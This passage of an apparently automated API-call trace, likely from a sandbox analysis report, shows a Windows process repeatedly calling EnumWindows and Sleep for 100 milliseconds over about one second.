[0142.168] Sleep (dwMilliseconds=0x64) [0142.170] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.171] Sleep (dwMilliseconds=0x64) [0142.172] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.173] Sleep (dwMilliseconds=0x64) [0142.175] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.175] Sleep (dwMilliseconds=0x64) [0142.177] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.177] Sleep (dwMilliseconds=0x64) [0142.179] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.179] Sleep (dwMilliseconds=0x64) [0142.181] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.181] Sleep (dwMilliseconds=0x64) [0142.256] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.256] Sleep (dwMilliseconds=0x64) [0142.376] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.376] Sleep (dwMilliseconds=0x64) [0142.408] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.409] Sleep (dwMilliseconds=0x64) [0142.457] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.457] Sleep (dwMilliseconds=0x64) [0142.494] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.494] Sleep (dwMilliseconds=0x64) [0142.496] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.496] Sleep (dwMilliseconds=0x64) [0142.498] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.498] Sleep (dwMilliseconds=0x64) [0142.500] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.500] Sleep (dwMilliseconds=0x64) [0142.502] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.502] Sleep (dwMilliseconds=0x64) [0142.504] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.504] Sleep (dwMilliseconds=0x64) [0142.506] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.506] Sleep (dwMilliseconds=0x64) [0142.507] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.507] Sleep (dwMilliseconds=0x64) [0142.509] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.509] Sleep (dwMilliseconds=0x64) [0142.510] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.510] Sleep (dwMilliseconds=0x64) [0142.512] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.512] Sleep (dwMilliseconds=0x64) [0142.514] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.514] Sleep (dwMilliseconds=0x64) [0142.516] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.516] Sleep (dwMilliseconds=0x64) [0142.517] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.517] Sleep (dwMilliseconds=0x64) [0142.519] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.519] Sleep (dwMilliseconds=0x64) [0142.520] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.520] Sleep (dwMilliseconds=0x64) [0142.522] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.522] Sleep (dwMilliseconds=0x64) [0142.525] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.526] Sleep (dwMilliseconds=0x64) [0142.554] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.555] Sleep (dwMilliseconds=0x64) [0142.556] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.557] Sleep (dwMilliseconds=0x64) [0142.623] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.624] Sleep (dwMilliseconds=0x64) [0142.700] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.701] Sleep (dwMilliseconds=0x64) [0142.729] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.730] Sleep (dwMilliseconds=0x64) [0142.731] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.732] Sleep (dwMilliseconds=0x64) [0142.733] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.734] Sleep (dwMilliseconds=0x64) [0142.735] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.736] Sleep (dwMilliseconds=0x64) [0142.737] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.737] Sleep (dwMilliseconds=0x64) [0142.738] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.739] Sleep (dwMilliseconds=0x64) [0142.741] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.741] Sleep (dwMilliseconds=0x64) [0142.743] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.743] Sleep (dwMilliseconds=0x64) [0142.745] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.746] Sleep (dwMilliseconds=0x64) [0142.747] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.748] Sleep (dwMilliseconds=0x64) [0142.749] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.750] Sleep (dwMilliseconds=0x64) [0142.752] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.752] Sleep (dwMilliseconds=0x64) [0142.754] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.754] Sleep (dwMilliseconds=0x64) [0142.758] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.759] Sleep (dwMilliseconds=0x64) [0142.760] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.761] Sleep (dwMilliseconds=0x64) [0142.762] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.762] Sleep (dwMilliseconds=0x64) [0142.764] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.764] Sleep (dwMilliseconds=0x64) [0142.765] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.766] Sleep (dwMilliseconds=0x64) [0142.767] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.767] Sleep (dwMilliseconds=0x64) [0142.769] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.769] Sleep (dwMilliseconds=0x64) [0142.771] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.771] Sleep (dwMilliseconds=0x64) [0142.772] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.772] Sleep (dwMilliseconds=0x64) [0142.774] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.774] Sleep (dwMilliseconds=0x64) [0142.775] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.776] Sleep (dwMilliseconds=0x64) [0142.777] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.777] Sleep (dwMilliseconds=0x64) [0142.778] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.779] Sleep (dwMilliseconds=0x64) [0142.780] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.780] Sleep (dwMilliseconds=0x64) [0142.781] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.781] Sleep (dwMilliseconds=0x64) [0142.783] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.783] Sleep (dwMilliseconds=0x64) [0142.785] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.786] Sleep (dwMilliseconds=0x64) [0142.787] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.787] Sleep (dwMilliseconds=0x64) [0142.789] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.789] Sleep (dwMilliseconds=0x64) [0142.791] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.791] Sleep (dwMilliseconds=0x64) [0142.792] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.793] Sleep (dwMilliseconds=0x64) [0142.794] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.794] Sleep (dwMilliseconds=0x64) [0142.796] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.796] Sleep (dwMilliseconds=0x64) [0142.807] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.808] Sleep (dwMilliseconds=0x64) [0142.811] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.811] Sleep (dwMilliseconds=0x64) [0142.818] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.819] Sleep (dwMilliseconds=0x64) [0142.820] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.821] Sleep (dwMilliseconds=0x64) [0142.822] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.822] Sleep (dwMilliseconds=0x64) [0142.824] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.824] Sleep (dwMilliseconds=0x64) [0142.902] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.903] Sleep (dwMilliseconds=0x64) [0143.004] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.004] Sleep (dwMilliseconds=0x64) [0143.071] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.072] Sleep (dwMilliseconds=0x64) [0143.074] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.075] Sleep (dwMilliseconds=0x64) [0143.076] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.076] Sleep (dwMilliseconds=0x64) [0143.078] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.078] Sleep (dwMilliseconds=0x64) [0143.079] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.079] Sleep (dwMilliseconds=0x64) [0143.081] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.081] Sleep (dwMilliseconds=0x64) [0143.083] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.083] Sleep (dwMilliseconds=0x64) [0143.087] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.087] Sleep (dwMilliseconds=0x64) [0143.089] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.090] Sleep (dwMilliseconds=0x64) [0143.091] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.091] Sleep (dwMilliseconds=0x64) [0143.094] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.094] Sleep (dwMilliseconds=0x64) [0143.095] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.095] Sleep (dwMilliseconds=0x64) [0143.097] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.097] Sleep (dwMilliseconds=0x64) [0143.098] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.099] Sleep (dwMilliseconds=0x64) [0143.100] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.101] Sleep (dwMilliseconds=0x64) [0143.103] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.103] Sleep (dwMilliseconds=0x64) [0143.104] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.105] Sleep (dwMilliseconds=0x64) [0143.107] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.107] Sleep (dwMilliseconds=0x64) [0143.108] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.108] Sleep (dwMilliseconds=0x64) [0143.110] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.110] Sleep (dwMilliseconds=0x64) [0143.111] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.111] Sleep (dwMilliseconds=0x64) [0143.115] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.115] Sleep (dwMilliseconds=0x64) [0143.116] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.117] Sleep (dwMilliseconds=0x64) [0143.118] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.119] Sleep (dwMilliseconds=0x64) [0143.120] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.120] Sleep (dwMilliseconds=0x64) [0143.122] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.122] Sleep (dwMilliseconds=0x64) [0143.124] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.124] Sleep (dwMilliseconds=0x64) [0143.125] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.125] Sleep (dwMilliseconds=0x64) [0143.127] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.127] Sleep (dwMilliseconds=0x64) [0143.129] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.129] Sleep (dwMilliseconds=0x64) [0143.131] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.131] Sleep (dwMilliseconds=0x64) [0143.133] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.133] Sleep (dwMilliseconds=0x64) [0143.135] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.135] Sleep (dwMilliseconds=0x64) [0143.136] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.136] Sleep (dwMilliseconds=0x64) [0143.138] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.138] Sleep (dwMilliseconds=0x64) [0143.139] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.139] Sleep (dwMilliseconds=0x64) [0143.141] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.141] Sleep (dwMilliseconds=0x64) [0143.142] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.142] Sleep (dwMilliseconds=0x64) [0143.145] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.145] Sleep (dwMilliseconds=0x64) [0143.146] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.146] Sleep (dwMilliseconds=0x64) [0143.148] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.148] Sleep (dwMilliseconds=0x64) [0143.149] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.149] Sleep (dwMilliseconds=0x64) [0143.151] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.151] Sleep (dwMilliseconds=0x64) [0143.153] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.153] Sleep (dwMilliseconds=0x64) [0143.154] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.155] Sleep (dwMilliseconds=0x64) [0143.156] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.156] Sleep (dwMilliseconds=0x64) [0143.158] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.158] Sleep (dwMilliseconds=0x64) [0143.160] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.160] Sleep (dwMilliseconds=0x64) [0143.162] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.162] Sleep (dwMilliseconds=0x64) [0143.163] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.163] Sleep (dwMilliseconds=0x64) [0143.165] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.165] Sleep (dwMilliseconds=0x64) [0143.166] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.167] Sleep (dwMilliseconds=0x64) [0143.169] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.169] Sleep (dwMilliseconds=0x64) [0143.170] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.171] Sleep (dwMilliseconds=0x64) [0143.172] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.172] Sleep (dwMilliseconds=0x64) [0143.175] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.175] Sleep (dwMilliseconds=0x64) [0143.177] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.177] Sleep (dwMilliseconds=0x64) [0143.178] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.178] Sleep (dwMilliseconds=0x64) [0143.180] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.180] Sleep (dwMilliseconds=0x64) [0143.182] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.182] Sleep (dwMilliseconds=0x64) [0143.184] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.184] Sleep (dwMilliseconds=0x64) [0143.185] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.185] Sleep (dwMilliseconds=0x64) [0143.187] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.187] Sleep (dwMilliseconds=0x64) [0143.189] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.189] Sleep (dwMilliseconds=0x64) [0143.191] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.191] Sleep (dwMilliseconds=0x64) [0143.193] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.193] Sleep (dwMilliseconds=0x64) [0143.194] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.194] Sleep (dwMilliseconds=0x64) [0143.196] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.196] Sleep (dwMilliseconds=0x64) [0143.197] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.197] Sleep (dwMilliseconds=0x64) [0143.199] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.199] Sleep (dwMilliseconds=0x64) [0143.200] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.200] Sleep (dwMilliseconds=0x64) [0143.202] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.202] Sleep (dwMilliseconds=0x64) [0143.203] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.203] Sleep (dwMilliseconds=0x64) [0143.205] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.205] Sleep (dwMilliseconds=0x64) [0143.207] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.207] Sleep (dwMilliseconds=0x64) [0143.209] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.209] Sleep (dwMilliseconds=0x64) [0143.211] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.211] Sleep (dwMilliseconds=0x64) [0143.212] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.212] Sleep (dwMilliseconds=0x64) [0143.214] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.214] Sleep (dwMilliseconds=0x64) [0143.216] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.216] Sleep (dwMilliseconds=0x64) [0143.217] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.217] Sleep (dwMilliseconds=0x64) [0143.219] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.219] Sleep (dwMilliseconds=0x64) [0143.221] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.221] Sleep (dwMilliseconds=0x64) [0143.223] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.223] Sleep (dwMilliseconds=0x64) [0143.225] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.225] Sleep (dwMilliseconds=0x64) [0143.226] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.227] Sleep (dwMilliseconds=0x64) [0143.228] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.229] Sleep (dwMilliseconds=0x64) [0143.230] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.230] Sleep (dwMilliseconds=0x64) [0143.232] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.232] Sleep (dwMilliseconds=0x64) [0143.234] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.234] Sleep (dwMilliseconds=0x64) [0143.236] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.236] Sleep (dwMilliseconds=0x64) [0143.237] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.238] Sleep (dwMilliseconds=0x64) [0143.241] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.241] Sleep (dwMilliseconds=0x64) [0143.243] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.243] Sleep (dwMilliseconds=0x64) [0143.244] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.244] Sleep (dwMilliseconds=0x64) [0143.246] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.247] Sleep (dwMilliseconds=0x64) [0143.258] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.258] Sleep (dwMilliseconds=0x64) [0143.260] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.260] Sleep (dwMilliseconds=0x64) [0143.262] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.262] Sleep (dwMilliseconds=0x64) [0143.265] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.265] Sleep (dwMilliseconds=0x64) [0143.266] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.267] Sleep (dwMilliseconds=0x64) [0143.268] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.269] Sleep (dwMilliseconds=0x64) [0143.270] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.271] Sleep (dwMilliseconds=0x64) [0143.272] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.273] Sleep (dwMilliseconds=0x64) [0143.276] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.276] Sleep (dwMilliseconds=0x64) [0143.278] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.278] Sleep (dwMilliseconds=0x64) [0143.280] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.280] Sleep (dwMilliseconds=0x64) [0143.281] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.282] Sleep (dwMilliseconds=0x64) [0143.283] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.283] Sleep (dwMilliseconds=0x64) [0143.285] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.285] Sleep (dwMilliseconds=0x64) [0143.286] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.286] Sleep (dwMilliseconds=0x64) [0143.288] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.288] Sleep (dwMilliseconds=0x64) [0143.289] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.289] Sleep (dwMilliseconds=0x64) [0143.291] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.291] Sleep (dwMilliseconds=0x64) [0143.293] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.293] Sleep (dwMilliseconds=0x64) [0143.294] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.294] Sleep (dwMilliseconds=0x64) [0143.296] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.296] Sleep (dwMilliseconds=0x64) [0143.297] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.297] Sleep (dwMilliseconds=0x64) [0143.299] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.299] Sleep (dwMilliseconds=0x64) [0143.301] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.301] Sleep (dwMilliseconds=0x64) [0143.303] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.303] Sleep (dwMilliseconds=0x64) [0143.305] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.306] Sleep (dwMilliseconds=0x64) [0143.307] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.308] Sleep (dwMilliseconds=0x64) [0143.311] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.311] Sleep (dwMilliseconds=0x64) [0143.313] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.313] Sleep (dwMilliseconds=0x64) [0143.315] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.315] Sleep (dwMilliseconds=0x64) [0143.317] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.317] Sleep (dwMilliseconds=0x64) [0143.320] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.320] Sleep (dwMilliseconds=0x64) [0143.329] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.329] Sleep (dwMilliseconds=0x64) [0143.331] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.331] Sleep (dwMilliseconds=0x64) [0143.333] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.333] Sleep (dwMilliseconds=0x64) [0143.334] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.334] Sleep (dwMilliseconds=0x64) [0143.336] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.336] Sleep (dwMilliseconds=0x64) [0143.337] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.337] Sleep (dwMilliseconds=0x64) [0143.339] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.339] Sleep (dwMilliseconds=0x64) [0143.342] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.343] Sleep (dwMilliseconds=0x64) [0143.345] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.345] Sleep (dwMilliseconds=0x64) [0143.347] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.347] Sleep (dwMilliseconds=0x64) [0143.349] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.349] Sleep (dwMilliseconds=0x64) [0143.351] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.351] Sleep (dwMilliseconds=0x64) [0143.352] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.352] Sleep (dwMilliseconds=0x64) [0143.354] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.354] Sleep (dwMilliseconds=0x64) [0143.355] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.355] Sleep (dwMilliseconds=0x64) [0143.357] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.357] Sleep (dwMilliseconds=0x64) [0143.358] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.358] Sleep (dwMilliseconds=0x64) [0143.360] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.360] Sleep (dwMilliseconds=0x64) [0143.362] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.362] Sleep (dwMilliseconds=0x64) [0143.363] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.363] Sleep (dwMilliseconds=0x64) [0143.365] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.366] Sleep (dwMilliseconds=0x64) [0143.367] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.367] Sleep (dwMilliseconds=0x64) [0143.369] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.369] Sleep (dwMilliseconds=0x64) [0143.371] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.371] Sleep (dwMilliseconds=0x64) [0143.372] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.372] Sleep (dwMilliseconds=0x64) [0143.374] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.374] Sleep (dwMilliseconds=0x64) [0143.375] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.375] Sleep (dwMilliseconds=0x64) [0143.377] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.377] Sleep (dwMilliseconds=0x64) [0143.378] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.378] Sleep (dwMilliseconds=0x64) [0143.380] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.380] Sleep (dwMilliseconds=0x64) [0143.383] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.383] Sleep (dwMilliseconds=0x64) [0143.384] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.384] Sleep (dwMilliseconds=0x64) [0143.386] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.386] Sleep (dwMilliseconds=0x64) [0143.387] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) 